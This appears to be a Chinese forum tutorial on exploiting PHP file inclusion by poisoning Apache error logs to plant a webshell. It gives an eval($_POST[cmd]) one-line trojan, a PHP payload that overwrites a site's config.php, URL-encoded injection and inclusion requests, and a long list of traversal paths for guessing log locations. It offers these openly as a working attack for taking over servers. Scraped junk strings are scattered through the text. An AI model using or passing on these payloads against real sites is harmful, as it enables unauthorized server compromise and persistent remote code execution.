php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

8 z5 T" W4 W+ M+ r到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
  {% @, P7 d; Z* l' ~fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

- [6 c+ }+ x  ~$ j( U<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
8 f6 A# s( q# h# ~$ ~' X4 W
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
8 _) \3 f# ?  h! G$ T3 o# J$ g转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
5 T3 |0 _  l8 vfclose%28%24fp%29%3B%3F%3E
我们提交
9 H% @# h* I0 u" Lhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- A- v( [; m, r% v3 E8 f%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

5 C. h$ `) X* m这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
  m: c$ B1 J! \6 Y; ~% p, JOK.
: H6 t3 _# h" V/ v- B- [  t! Xhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
3 @1 h, {# b% l. p5 F直接用lanker的客户端一连，主机就是你的了。
) v, E5 ~- e1 s7 o3 V
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
; l9 B( r- f9 S4 P( @8 x
' r4 s7 W" u6 C8 J' w其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
1 B0 a% s: \1 [0 {5 b6 ^../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
( R/ D) X& j/ a../../apache/logs/error.log
2 |# s. [" \6 @% A../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
3 x$ i7 ^6 n* p. {% V7 x- N9 k../../../../../../../../../../etc/httpd/logs/acces_log
9 p# C( R4 K  I% [9 n" t- V3 ^  p../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
% G6 i+ ~/ F; H) ?5 i../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
" a" o, b; W7 ?../../../../../../../../../../usr/local/apache/logs/access_log
& c0 V6 Z% O* U5 \../../../../../../../../../../usr/local/apache/logs/access.log
0 X8 J2 {: J. w" \3 s../../../../../../../../../../var/log/apache/access_log
% K$ W+ j# g( B+ p. W% v../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
& G" l9 E5 n1 J0 E2 A) h0 ]../../../../../../../../../../var/www/logs/error_log
# y3 I$ a2 O! c, z1 [) T" h& \../../../../../../../../../../var/www/logs/error.log
( O- x/ S3 g6 k! t/ G! j& u" z  D" y6 s../../../../../../../../../../usr/local/apache/logs/error_log
" V, @. B" i6 Z  z../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
: J& y! {7 J' [4 s$ f9 x( ~../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
2 A: b* \) }9 S1 i  w../../../../../../../../../../var/log/error_log
3 w4 v" C" P# \7 R( @/var/log/httpd/access_log      
: A* j4 c: i5 ?7 B6 w3 {) B. x8 r4 J2 W/var/log/httpd/error_log     
5 n! B) ~- N! e( `6 w/ K: Y) }: I../apache/logs/error.log     
2 ]* g1 L9 W5 b( F; f) b; c../apache/logs/access.log
- u" l% d* F0 {' D& p7 z../../apache/logs/error.log
0 d* Z3 G  r7 ?. H% B# s. Y% |../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
' B- M4 f/ `6 N. U0 h/etc/httpd/logs/error_log
7 I" d/ W3 E/ I, [% O/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
$ R  [* [. Q" }. ^- x- r) ?1 g. O/var/www/logs/error_log
/var/www/logs/error.log
. _: B5 Q' z. J/ f/usr/local/apache/logs/error_log
1 _% B- J3 u, r6 J" M/usr/local/apache/logs/error.log
& M6 D% k/ D6 H/var/log/apache/error_log
/ I: i2 y* w2 [3 I4 d8 Q+ a/var/log/apache/error.log
/var/log/access_log
/var/log/error_log